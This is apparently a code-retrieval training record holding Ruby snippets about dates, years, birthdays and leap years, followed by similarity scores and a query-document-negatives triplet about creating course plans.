@schedule.days_month_day == nil\n end\n \n d = Date.new(date.year, date.month, 1)\n d += (@schedule.days_month_day - d.wday) % 7\n d += (7 * values.index(@schedule.days_month))\n\n if d < date\n d = d.at_beginning_of_month\n\n months_since_startdate = (d.year * 12 + d.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n \n months_to_add = @schedule.period_num\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n\n d += months_to_add.months\n\n d = Date.new(d.year, d.month, 1)\n d += (@schedule.days_month_day - d.wday) % 7\n d += (7 * values.index(@schedule.days_month))\n end\n\n return d\n end\n end",
"def min_year\n 2015\n end",
"def previous\n if index > 1\n self.class.new(year, index - 1)\n elsif year.previous.week_count == 53\n self.class.new(year.previous, 53)\n else\n self.class.new(year.previous, 52)\n end\n end",
"def transitions(year); end",
"def transitions(year); end",
"def next_birthday\n #requires only month and day and not year.\n return nil unless birth_time_has_month? and birth_time_has_day?\n birthday = Date.new(Date.today.year, birth_time.month,\n birth_time.day)\n return birthday if birthday >= Date.today\n return birthday.next_year\n end",
"def start_year\n Time.now.year - 18\n end",
"def a_year()\n now = Time.now\n if now.month < 4\n now.year - 1\n else\n now.year\n end\nend",
"def beginning_of_month\n self.class.new year, month, 1\n end",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).select { |e| not_repeat_year?(e) }\nend",
"def end_year\n Time.now.year \n end",
"def thisYear\n\t\t\t@this_year ||= Date.current.year\n\t\tend",
"def year_to_season(y); \"#{y}-#{sprintf('%02d', (y + 1) % 100)}\"; end",
"def year(input) = new_year(input).year - 621",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).select{|yr|not_repeat_year?(yr)}\nend",
"def next_birthday\n @year = Date.today.year\n @mmdd = @date_of_birth.strftime('%m%d')\n @year += 1 if @mmdd < Date.today.strftime('%m%d')\n @mmdd = '0228' if @mmdd == '0229' && !Date.parse(\"#{@year}0101\").leap?\n @next_birthday = Date.parse(\"#{@year}#{@mmdd}\")\n end",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def year; end",
"def year; end",
"def year\n @year = params[:year].to_i\n @first_month = 1\n @last_month = (Date.today.year == @year) ? Date.today.month : 12\n end",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).reduce([]) do |output, el|\n if not_repeat_year?(el)\n output << el\n else\n output\n end\n end\nend",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).select { |year| not_repeat_year?(year) }\nend",
"def this_year\n year(Time.now)\n end",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).select {|x| not_repeat_year?(x) }\nend",
"def year\n end",
"def two_season\n if month<=3\n 0\n elsif month>=10\n 2\n else\n 1\n end\n end",
"def day_in_year\n day = self.day\n \n 1.upto(self.month - 1) do |month_no|\n day += Datet.days_in_month(self.year, month_no)\n end\n \n return day\n end",
"def year\n self.range('year')\n end",
"def build_school_year(year=nil)\n return SchoolYear.new if year.blank?\n\n starting_day = (year.is_a? Date) ? year : start_date_from_year(year)\n SchoolYear.new(start_date: starting_day, end_date: starting_day.next_year)\n end",
"def this_semester?\n\t\topens = self.open_date\n\t\ttoday = Time.now\n\t\t\n\t\t# TODO: rewrite into a range so it's a bit cleaner\n\t\tif(opens.month > 7 && today.month > 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telsif(opens.month <= 7 && today.month <= 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def nwrug_meet_for year, month\n beginning_of_month = Date.civil(year, month, 1)\n nwrug = beginning_of_month + (18 - beginning_of_month.wday)\n nwrug += 7 if beginning_of_month.wday > 4\n\n # Make sure we skip to the next month if we've gone past this month's meet\n if nwrug < Date.today\n if month == 12\n month = 1\n year += 1\n else\n month += 1\n end\n nwrug = nwrug_meet_for year, month\n end\n\n nwrug\nend",
"def next_date\n next_observance.try(:start_on) || 100.years.from_now.to_date\n end",
"def cwyear\n end",
"def this_semester?\n\t\topens = self.showtimes.first.timestamp\n\t\ttoday = Time.now\n\t\t\n\t\t# TODO: rewrite into a range so it's a bit cleaner\n\t\tif(opens.month > 7 && today.month > 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telsif(opens.month <= 7 && today.month <= 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def all_year\n beginning_of_year..end_of_year\n end",
"def skel_yearly( path_storage, section_path )\n entry_range = path_storage.find\n first_time, last_time = entry_range.last.created, entry_range.first.created\n years = (first_time.year..last_time.year).collect do |y|\n [ Time.mktime( y, 1, 1 ), Time.mktime( y + 1, 1, 1 ) - 1 ]\n end\n years.extend Hobix::Enumerable\n years.each_with_neighbors do |prev, curr, nextm| \n entries = path_storage.within( curr[0], curr[1] )\n page = Page.new( curr[0].strftime( \"%Y/index\" ), section_path )\n page.prev = prev[0].strftime( \"%Y/index\" ) if prev\n page.next = nextm[0].strftime( \"%Y/index\" ) if nextm\n page.timestamp = curr[1]\n page.updated = path_storage.last_updated( entries )\n yield :page => page, :entries => entries\n end\n end",
"def next_month(months = 1)\n advance(months: months)\n end",
"def end_year\n Time.now.year - 90\n end",
"def leapyear(n)\n start = (n % 100 != 0 && n % 4 == 0) || (n % 100 == 0 && n % 400 == 0) ? n : n + (4 - (n % 4))\n (0...100).step(4).each do |e|\n year = start + e\n if year % 100 != 0\n puts year\n elsif year % 400 == 0\n puts year\n end\n end\nend",
"def start_of_year(year)\n date_calc.start_of_year(year)\n end",
"def index\n @year = set_year\n @travel_dates = TravelDate.for_year(set_year)\n @first_year = TravelDate.first_year\n @final_year = TravelDate.final_year\n @next_year = @year + 1\n @prev_year = @year - 1\n end",
"def no_repeat_years(first_yr, last_yr)\n result = []\n (first_yr..last_yr).each do |num|\n if not_repeat_year?(num)\n result << num\n end\n end\n result\nend",
"def no_repeat_years(first_yr, last_yr)\n years = (first_yr..last_yr).to_a\n years.select {|year| not_repeat_year?(year)}\n\nend",
"def year\n yearInSchool\n end",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).reduce([]) do |arr, year|\n if not_repeat_year?(year)\n arr << year\n else\n arr\n end\n end\nend",
"def start_of_year\n @start_of_year ||= year_start_date\n end",
"def get_next_day\n\t# Precondition: Check if current day and month are valid\n\tcheck_cur_day\n\tcheck_cur_mth\n\n=begin\n\tDue to the differences in the length of months, setting the next day\n\tdepends on the current month\n=end\n\tcase get_cur_mth\n\t\t# For 31-day months\n\t\twhen 1,3,5,7,8,10,12\n\t\t\t# If it is not the 31st of the month\n\t\t\tif ($num_days_31mth > get_cur_day)\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Then, it must be the last day of the month\n\t\t\telse\n\t\t\t\t# Move on to the next month\n\t\t\t\tget_next_mth\n\t\t\t\t# Set the day of the month to be the first\n\t\t\t\tset_cur_day(1)\n\t\t\tend\n\t\t# For February\n\t\twhen 2\n\t\t\t# If it is not the 29th of February in a leap year\n\t\t\tif ($num_days_29feb > get_cur_day) and (0 == get_cur_year.modulo($leap_num_yr))\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Else, if it is not the 28th of February in a non-leap year\n\t\t\telsif ($num_days_28feb > get_cur_day) and (0 != get_cur_year.modulo($leap_num_yr))\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Then, it must be the last day of the month\n\t\t\telse\n\t\t\t\t# Move on to the next month\n\t\t\t\tget_next_mth\n\t\t\t\t# Set the day of the month to be the first\n\t\t\t\tset_cur_day(1)\n\t\t\tend\n\t\t# For 30-day months\n\t\twhen 4,6,9,11\n\t\t\t# If it is not the 30th of the month\n\t\t\tif ($num_days_30mth > get_cur_day)\n\t\t\t\t# Move on to the next day\n\t\t\t\tset_cur_day(get_cur_day+1)\n\t\t\t# Then, it must be the last day of the month\n\t\t\telse\n\t\t\t\t# Move on to the next month\n\t\t\t\tget_next_mth\n\t\t\t\t# Set the day of the month to be the first\n\t\t\t\tset_cur_day(1)\n\t\t\tend\n\t\telse\n\t\t\traise \"The current month is invalid; precondition check FAILED!!!\"\n\tend\nend",
"def next_day\n advance(days: 1)\n end",
"def next_birthday\n year = current_year + 1\n\n return Date.new(year, date_of_birth.month, date_of_birth.day) if beyond_birth_month?\n\n return Date.new(year, date_of_birth.month, date_of_birth.day) if beyond_birth_day_within_birth_month?\n\n Date.new(year - 1, date_of_birth.month, date_of_birth.day)\n end",
"def no_repeat_years(first_yr, last_yr)\n (first_yr..last_yr).to_a.select { |year| not_repeat_year?(year) }\nend",
"def years ; self * 365.days ; end",
"def get_last_assessment\n Assessment.find_by(year: year - 1)\n end",
"def get_last_assessment\n Assessment.find_by(year: year - 1)\n end",
"def leap_year?(yr1)\r\n if yr1 % 4 > 0\r\n false\r\n elsif yr1 % 100 == 0\r\n if yr1 % 400 == 0\r\n true\r\n else\r\n false\r\n end\r\n elsif yr1 % 4 == 0\r\n true\r\n end\r\nend",
"def closest_leap(start_year)\n count = 1\n up_year, down_year = start_year, start_year\n until leap_year(up_year) == true || leap_year(down_year) == true\n up_year += count\n down_year -= count\n count += 1\n end\n leap_year(up_year) == true ? (return up_year) : (return down_year)\nend",
"def set_year\n if set_month > 2 and set_month < 13\n @year.to_i\n else\n @year.to_i - 1\n end\n end",
"def make_semester(year_and_semester={}, options={})\n year_and_semester ||= {}\n year_and_semester = {year: year_and_semester[0..3], semester: year_and_semester[4..4]} if year_and_semester.is_a? String\n year = (year_and_semester.delete(:year) || Time.now.year).to_i\n semester = (year_and_semester.delete(:semester) ||\n ( case (year_and_semester.delete(:month) || Time.now.month)\n when 1..5 then 1\n when 6..7 then 2\n else 3 end )).to_i\n if options.delete(:hash) then\n {year: year, semester: semester}\n else\n \"#{year}#{semester}\"\n end\n end",
"def nextVersion\n newRevision(@year, @month, @revCount.nil? ? 1 : @revCount + 1)\n end",
"def year\n return @year\n end",
"def show_next_month\n e = Emission.find(params[:id])\n @id = params[:id]\n @site = Site.find(e.site.id)\n @year = e.year.to_i\n @month = e.month.to_i + 1\n if e.month == 12\n @year += 1\n @month = 1 \n end\n \n @thismonth = @site.emissions.find(:first, :conditions => {:month => @month.to_s, :year => @year.to_s})\n if @month == 12\n \t@nextmonth = @site.emissions.find(:first, :conditions => {:month => \"1\", :year => (@year+1).to_s})\n else\n\t@nextmonth = @site.emissions.find(:first, :conditions => {:month => (@month+1).to_s, :year => @year.to_s})\n end\n if @month == 1\n \t@prevmonth = @site.emissions.find(:first, :conditions => {:month => \"12\", :year => (@year-1).to_s})\n else\n \t@prevmonth = @site.emissions.find(:first, :conditions => {:month => (@month-1).to_s, :year => @year.to_s})\n end\n @id = @thismonth.id\n render :partial => 'month'\n end",
"def sred_year_for_date(date=today_as_date)\n start_of_year = (Date.new(date.year, 1, 1)..Date.new(date.year, 7, 31))\n if start_of_year.include?(date)\n return date.year - 1\n else\n return date.year\n end\n end"
] |
[
"0.7330652",
"0.7274078",
"0.7120933",
"0.69841176",
"0.67547953",
"0.6654071",
"0.6459806",
"0.6417507",
"0.640847",
"0.6392686",
"0.6349299",
"0.63334507",
"0.63226867",
"0.62452334",
"0.62261397",
"0.62091297",
"0.6134392",
"0.61342484",
"0.6108077",
"0.6076894",
"0.6067888",
"0.6055124",
"0.6044599",
"0.59902555",
"0.5965545",
"0.5957429",
"0.59495854",
"0.59407",
"0.59238064",
"0.5919788",
"0.59009284",
"0.5877787",
"0.5872094",
"0.58077854",
"0.5783488",
"0.5761953",
"0.5761559",
"0.5746835",
"0.57452595",
"0.57410747",
"0.5734194",
"0.5709568",
"0.57084715",
"0.57084715",
"0.5708184",
"0.57037973",
"0.57001406",
"0.5648431",
"0.56354433",
"0.5615557",
"0.56150454",
"0.561043",
"0.5601326",
"0.5587494",
"0.55849856",
"0.55788404",
"0.55646425",
"0.55646425",
"0.55508673",
"0.5547627",
"0.55409074",
"0.5525317",
"0.55241275",
"0.5523101",
"0.551899",
"0.55018026",
"0.5500453",
"0.54975253",
"0.5497458",
"0.5493447",
"0.5490857",
"0.5489564",
"0.54850703",
"0.54825354",
"0.54771173",
"0.54672843",
"0.5463826",
"0.5460869",
"0.5445416",
"0.5441421",
"0.543698",
"0.5428714",
"0.5424535",
"0.5423058",
"0.54221255",
"0.5419901",
"0.5419752",
"0.5419091",
"0.54166937",
"0.54104865",
"0.5408668",
"0.5408668",
"0.5407095",
"0.5395404",
"0.53872347",
"0.53855366",
"0.5384099",
"0.5378593",
"0.537827",
"0.5373222"
] |
0.82644194
|
0
|
create course plan upon creation of this object
|
def create_dependancies
create_course_plan()
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_plan(plan:, params:)\n plan.visibility = if params['visibility'].blank?\n Rails.configuration.x.plans.default_visibility\n else\n plan_params[:visibility]\n end\n\n plan.template = ::Template.find(params[:template_id])\n\n plan.title = if params[:title].blank?\n if current_user.firstname.blank?\n format(_('My Plan (%{title})'), title: plan.template.title)\n else\n format(_('%{user_name} Plan'), user_name: \"#{current_user.firstname}'s\")\n end\n else\n params[:title]\n end\n\n plan.org = process_org!(user: current_user)\n # If the user said there was no research org, use their org since Plan requires one\n plan.org = current_user.org if plan.org.blank?\n plan.funder = process_org!(user: current_user, namespace: 'funder')\n\n plan.title = plan.title.strip\n\n return unless plan.save\n\n # pre-select org's guidance and the default org's guidance\n ids = (::Org.default_orgs.pluck(:id) << plan.org_id).flatten.uniq\n ggs = ::GuidanceGroup.where(org_id: ids, optional_subset: false, published: true)\n\n plan.guidance_groups << ggs unless ggs.empty?\n plan.add_user!(current_user.id, :creator)\n\n # Set new identifier to plan id by default on create.\n # (This may be changed by user.)\n # ================================================\n # Start DMPTool customization\n # We are using this field as a Funding Opportunity Number\n # ================================================\n # @plan.identifier = @plan.id.to_s\n # ================================================\n # End DMPTool customization\n # ================================================\n plan.save\n plan\n end",
"def add_course(abstract_course, options = {})\n plan_course = PlanCourse.new(\n :study_plan_id => self.id,\n :abstract_course_id => abstract_course.id,\n :credits => abstract_course.min_credits,\n )\n plan_course.competence_node_id = options[:competence_node_id] if options[:competence_node_id]\n plan_course.scoped_course_id = options[:scoped_course_id] if options[:scoped_course_id]\n plan_course.manually_added = true if options[:manually_added]\n plan_course.save\n \n return plan_course\n end",
"def set_course_plan\n @course_plan = CoursePlan.find(params[:id])\n end",
"def set_plan\n case params[:id]\n when \"course\"\n else \n @plan = Plan.find(params[:id])\n end\n end",
"def new_plan\n plan.clear\n plan\n end",
"def new_plan\n\t plan.clear\n\t plan\n\tend",
"def scaffold_plan\r\n scaffold_template if @template.nil?\r\n\r\n @plan = Plan.new(template: @template, title: 'Test Plan', grant_number: 'Grant-123',\r\n principal_investigator: 'me', principal_investigator_identifier: 'me-1234',\r\n description: \"this is my plan's informative description\",\r\n identifier: '1234567890', data_contact: 'me@example.com', visibility: :privately_visible,\r\n roles: [Role.new(user: User.last, creator: true)])\r\n\r\n assert @plan.valid?, \"unable to create new Plan: #{@plan.errors.map{|f, m| f.to_s + ' ' + m}.join(', ')}\"\r\n @plan.save!\r\n end",
"def scaffold_plan\n scaffold_template if @template.nil?\n\n @plan = Plan.new(template: @template, title: 'Test Plan', grant_number: 'Grant-123',\n principal_investigator: 'me', principal_investigator_identifier: 'me-1234',\n description: \"this is my plan's informative description\",\n identifier: '1234567890', data_contact: 'me@example.com', visibility: :privately_visible,\n roles: [Role.new(user: User.last, creator: true)])\n\n assert @plan.valid?, \"unable to create new Plan: #{@plan.errors.map{|f, m| f.to_s + ' ' + m}.join(', ')}\"\n @plan.save!\n end",
"def create\n @course = Course.new(course_params)\n\n if @course.save\n @course.generate_join_token\n if current_user.has_role? :instructor\n current_user.courses << @course\n current_user.add_role :instructor, @course\n current_user.add_role :grader, @course\n end\n\n flash[:notice] = \"Course created successfully.\"\n redirect_to @course\n else\n render :action => :new\n end\n end",
"def new\n @course = Course.new\n end",
"def create_free_course\n trial_course = Course.find(1)\n self.user_courses.build(user_id: self.id, course_id: trial_course.id, last_lesson: trial_course.starting_lesson)\n end",
"def new\n @lesson_plan = LessonPlan.new\n end",
"def plan_object\n Plan.new plan\n end",
"def create_course(param = {})\n course_name.set param['name']\n course_oid.set param['oid']\n description.set param['description']\n passing_score.set param['passing_score']\n prerequisite.select(param['prereq']) unless create_course_params['prereq'] == 'N/A'\n course_locale.select(param['locale'])\n course_duration.set param['duration']\n upload_file('Course File', param['course_file'])\n submit_button.click\n end",
"def new\n\t\t@course = Course.new\n\tend",
"def new\n @plan = Plan.new\nend",
"def plan\n @courses = Course.all\n @semesters = Semester.all\n @p_planners = PastPlanner.find_all_semester_groups(current_user)\n @f_planners = FuturePlanner.find_all_semester_groups(current_user)\n end",
"def new\n @art_plan = ArtPlan.new\n @art_plan.art_schedules.build\n @art_project = ArtProject.new\n #byebug\n end",
"def plan( &block )\n nested_class( 'Plan', Yacl::Define::Plan, &block )\n end",
"def create_initial_trial(community_id:, plan:)\n Result::Success.new(\n with_expiration_status(\n PlanStore.create_trial(community_id: community_id, plan: plan)))\n\n # deprecated\n # TODO remove this\n # Use create_plan and create_initial_trial methods instead\n Result::Success.new(\n with_expiration_status(\n PlanStore.create(community_id: community_id, plan: plan.merge(plan_level: 0))))\n end",
"def new_plan(name, puppet: false)\n Bolt::PlanCreator.validate_input(config.project, name)\n Bolt::PlanCreator.create_plan(config.project.plans_path, name, puppet)\n end",
"def create\n \t@course_instance = CourseInstance.new(course_instance_params)\n\n respond_to do |format|\n if @course_instance.save\n format.html { redirect_to course_plan_path( @course_instance.semester.year.course_plan), notice: 'Course instance was successfully created.' }\n format.json { render :show, status: :created, location: @course_instance }\n else\n format.html { redirect_to course_plan_path( @course_instance.semester.year.course_plan), status: :unprocessable_entity }\n format.json { render json: @course_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.add_ident\n @plan.user_id = current_user.id\n unless @plan.save\n render json: {status: 'failed', message: '创建失败,请稍后重试 !'}\n end\n end",
"def create_plan(plan)\n PsegRecurring::Plan.new(@credentials).send_plan(plan)\n end",
"def create_initial_trial(community_id:, plan:)\n Result::Success.new(\n with_expiration_status(\n PlanStore.create_trial(community_id: community_id, plan: plan)))\n\n end",
"def new\n @course = Course.new\n end",
"def new\n @course = Course.new\n end",
"def new\n @course = Course.new\n end",
"def new\n @course = Course.new\n end",
"def create\n @plan = SemesterPlan.new(plan_params)\n if @plan.save\n [\"Montag\", \"Dienstag\", \"Mittwoch\", \"Donnerstag\", \"Freitag\"].each do |day|\n start_time = 8\n 4.times do\n timeslot = @plan.time_slots.create!(start: start_time, end: start_time + 2, day: day)\n start_time += 2\n end\n end\n flash[:success] = \"Erstellen erfolgreich\"\n redirect_to semester_plan_path @plan\n else\n flash[:danger] = \"Erstellen fehlgeschlagen\"\n redirect_to new_semester_plan_path\n end\n\n end",
"def create\n @art_plan = current_user.art_plans.build(art_plan_params)\n #byebug\n \n if @art_plan.save\n flash[:success] = \"Your art plan was created!\"\n as = ArtSchedule.new(art_schedule_params)\n as.art_plan = @art_plan\n as.save\n redirect_to art_plan_path(@art_plan)\n else\n render :new\n end\n end",
"def create_new_course(account_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :course__name__,\n :course__course_code__,\n :course__start_at__,\n :course__end_at__,\n :course__license__,\n :course__is_public__,\n :course__public_syllabus__,\n :course__public_description__,\n :course__allow_student_wiki_edits__,\n :course__allow_wiki_comments__,\n :course__allow_student_forum_attachments__,\n :course__open_enrollment__,\n :course__self_enrollment__,\n :course__restrict_enrollments_to_course_dates__,\n :course__term_id__,\n :course__sis_course_id__,\n :course__integration_id__,\n :course__hide_final_grades__,\n :course__apply_assignment_group_weights__,\n :offer,\n :enroll_me,\n :course__syllabus_body__,\n \n ]\n\n # verify existence of params\n raise \"account_id is required\" if account_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :account_id => account_id\n )\n\n # resource path\n path = path_replace(\"/v1/accounts/{account_id}/courses\",\n :account_id => account_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:post, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:post, path, query_params, form_params, headers)\n page_params_store(:post, path)\n Course.new(response)\n end",
"def create\n @lesson_plan = LessonPlan.new(lesson_plan_params)\n @lesson_plan.educator_id = current_educator.id\n respond_to do |format|\n if @lesson_plan.save\n format.html { redirect_to current_educator, notice: 'Lesson plan was successfully created.' }\n format.json { render :show, status: :created, location: @lesson_plan }\n else\n format.html { render :new }\n format.json { render json: @lesson_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end",
"def plan\n # si el usuario no tiene plan_id en su modelo, se le asigna el plan_id seleccionado en el formulario\n # recordar que ese plan_id llega en los params del contexto y por tanto tenemos acceso a el\n # como variable de clase @plan_id\n\n if @current_user.plan_id.nil?\n if @plan_id.nil?\n raise StandardError, 'Error creando plan, plan_id null'\n end\n # se almacena en el user\n @current_user.update_attribute(:plan_id, @plan_id)\n # despues de tenerlo almacenado en la bd, llamamos nuevamente este metodo plan\n plan\n else\n # el usuario tiene un plan_id asignado, se le actualiza el plan_id en caso de que haya seleccionado uno\n # diferente al que tiene actualmente\n @current_user.update_attribute(:plan_id, @plan_id)\n # obtener informacion del plan de la BD\n plan_db = @current_user.plan\n #\n # NOTA: los planes deben tener un plan_code es OBLIGATORIO para el buen funcionamiento\n #\n if plan_db.plan_code.nil? || plan_db.plan_code.empty?\n raise StandardError, 'Error creando plan, code null'\n end\n # con el plan_code lo buscamos en payu\n plan_payu = PayuLatam::Plan.new(plan_db.plan_code)\n # si existe?\n if plan_payu.success?\n # llenar la variable plan con la instancia de clase PayuLatam:Plan\n @plan = plan_payu\n else\n # si no existe en pyu, crearlo con el metodo del modelo plan\n plan_db.create_payu_plan\n # llamado recursivo\n plan\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n Term.create(plan_id: @plan.id, semester: \"Fall\", year: @plan.startyear)\n Term.create(plan_id: @plan.id, semester: \"Spring\", year: @plan.startyear+1)\n Term.create(plan_id: @plan.id, semester: \"Summer\", year: @plan.startyear+1)\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(params)\n response = self.class.post(\n '/webservice/rest/server.php',\n {\n :query => query_hash('core_course_create_courses', token),\n :body => {\n :courses => {\n '0' => {\n :fullname => params[:full_name],\n :shortname => params[:short_name],\n :categoryid => params[:parent_category],\n :idnumber => params[:idnumber]\n }\n }\n }\n }.merge(query_options)\n )\n check_for_errors(response)\n response.parsed_response.first\n end",
"def create\n @cardio_plan = CardioPlan.new(params[:cardio_plan])\n @cardio_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @cardio_plan.save\n flash[:notice] = 'Cardio Plan was successfully created.'\n format.html { redirect_to(@cardio_plan) }\n format.xml { render :xml => @cardio_plan, :status => :created, :location => @cardio_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cardio_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @accounting_plan = AccountingPlan.new(accounting_plan_params)\n @accounting_plan.organization = current_organization\n respond_to do |format|\n if @accounting_plan.save\n format.html { redirect_to accounting_plans_url, notice: \"#{t(:accounting_plan)} #{t(:was_successfully_created)}\" }\n else\n flash.now[:danger] = \"#{t(:failed_to_create)} #{t(:accounting_plan)}\"\n init_new\n format.html { render action: 'new' }\n end\n end\n end",
"def create_plans\n\t\tdmptemplate.phases.each do |phase|\n\t\t\tlatest_published_version = phase.latest_published_version\n\t\t\tunless latest_published_version.nil?\n\t\t\t\tnew_plan = Plan.new\n\t\t\t\tnew_plan.version = latest_published_version\n\t\t\t\tplans << new_plan\n\t\t\tend\n\t\tend\n\tend",
"def plan\n @plan ||= Plan.new(stripe_plan_id: stripe_plan_id)\n end",
"def new\n @plan = Plan.new\n authorize @plan\n end",
"def new\n if current_user.is_admin\n @plan = SemesterPlan.new\n else\n redirect_to root_path\n end\n end",
"def course_plan_params\n params.require(:course_plan).permit(:programme_id, :name, :abbr, :type)\n end",
"def create\n @user = @current_user\n @title = 'Home ('+ Time.now.to_date.to_s + ')'\n @current_event, @events = Event.find_todays_events(@user)\n @plans = @user.plans\n\n\n unless params[:plan]['deadline(3i)'].blank? and\n params[:plan]['deadline(2i)'].blank? \n\n if params[:plan]['deadline(2i)'].blank? \n params[:plan]['deadline(2i)'] = Time.now.month.to_s\n end\n\n if params[:plan]['deadline(3i)'].blank? \n params[:plan]['deadline(3i)'] = '1'\n end\n\n if params[:plan]['deadline(2i)'].to_i < Time.now.month or \n (params[:plan]['deadline(2i)'].to_i == Time.now.month and \n params[:plan]['deadline(3i)'].to_i < Time.now.day)\n params[:plan]['deadline(1i)'] = Time.now.year.next.to_s\n else\n params[:plan]['deadline(1i)'] = Time.now.year.to_s\n end\n end\n\n @new_plan = Plan.new(params[:plan])\n @new_plan.user = @user\n\n unless params[:plan][:recurs] == 'recurs' \n if params[:plan][:recurs] == 'daily' \n @new_plan.recurs = Plan::RECURS[:daily] \n elsif params[:plan][:recurs] == 'weekly' \n @new_plan.recurs = Plan::RECURS[:weekly] \n elsif params[:plan][:recurs] == 'monthly' \n @new_plan.recurs = Plan::RECURS[:monthly] \n end\n else \n @new_plan.recurs = Plan::RECURS[:none] \n end \n\n unless params[:plan].blank? or params[:plan][:parent].blank?\n @new_plan.parent = @current_user.plans.find(params[:plan][:parent])\n end\n\n respond_to do |format|\n if @new_plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(events_path()) }\n format.xml { render :xml => @new_plan, :status => :created,\n :location => @new_plan }\n else\n format.html { render :template=>\"events/index\" }\n format.xml { render :xml => @new_plan.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def create\n super do |resource| # super do oznacza ze dziedziczymy akcje \"create\" i rozszerzamy ją\n if params[:plan]\n resource.plan_id = params[:plan]\n if resource.plan_id == 2\n resource.save_with_subscription \n else\n resource.save\n end\n end\n end\n end",
"def create\n assessment = Assessment.find(plan_create_params.fetch(:assessment_id))\n disease_ids = plan_create_params.fetch(:disease_ids).to_s.split(\"-\")\n\n if plan_create_params[:indicators].values.map(&:to_i).any?(&:zero?)\n flash[:alert] = \"Every score and goal must be 1 or higher.\"\n return redirect_back fallback_location: root_path\n end\n\n @plan =\n Plan.create_from_goal_form(\n indicator_attrs: plan_create_params.fetch(:indicators),\n assessment: assessment,\n is_5_year_plan: plan_create_params.fetch(:term).start_with?(\"5\"),\n plan_name: \"#{assessment.country.name} draft plan\",\n disease_ids: disease_ids,\n user: current_user\n )\n unless @plan.persisted?\n flash[:notice] = \"Could not save your plan, something went wrong.\"\n redirect_back fallback_location: root_path\n return\n end\n session[:plan_id] = @plan.id unless current_user\n redirect_to @plan\n rescue Exceptions::InvalidDiseasesError => e\n flash[:notice] = e.message\n redirect_back fallback_location: root_path\n end",
"def create_plans\n dmptemplate.phases.each do |phase|\n latest_published_version = phase.latest_published_version\n unless latest_published_version.nil?\n new_plan = Plan.new\n new_plan.version = latest_published_version\n plans << new_plan\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:title, :detail, :comment, :prefecture_id, \n courses_attributes: [:plan_id, :place_id, :name, :description, :time, :thumbnail])\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n @plan = Plan.find(params[:plan_id])\n @assignment.plan_id = @plan.id\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to plan_path(@plan), notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :manage, Course\n @course = Course.new(course_params)\n @course.course_sections.each do |course_section|\n course_section.name = \"#{@course.name} #{course_section.grade_section.name}\"\n end\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def propagate_course\n lesson_plan_item.course = tab.category.course\n end",
"def propagate_course\n lesson_plan_item.course = tab.category.course\n end",
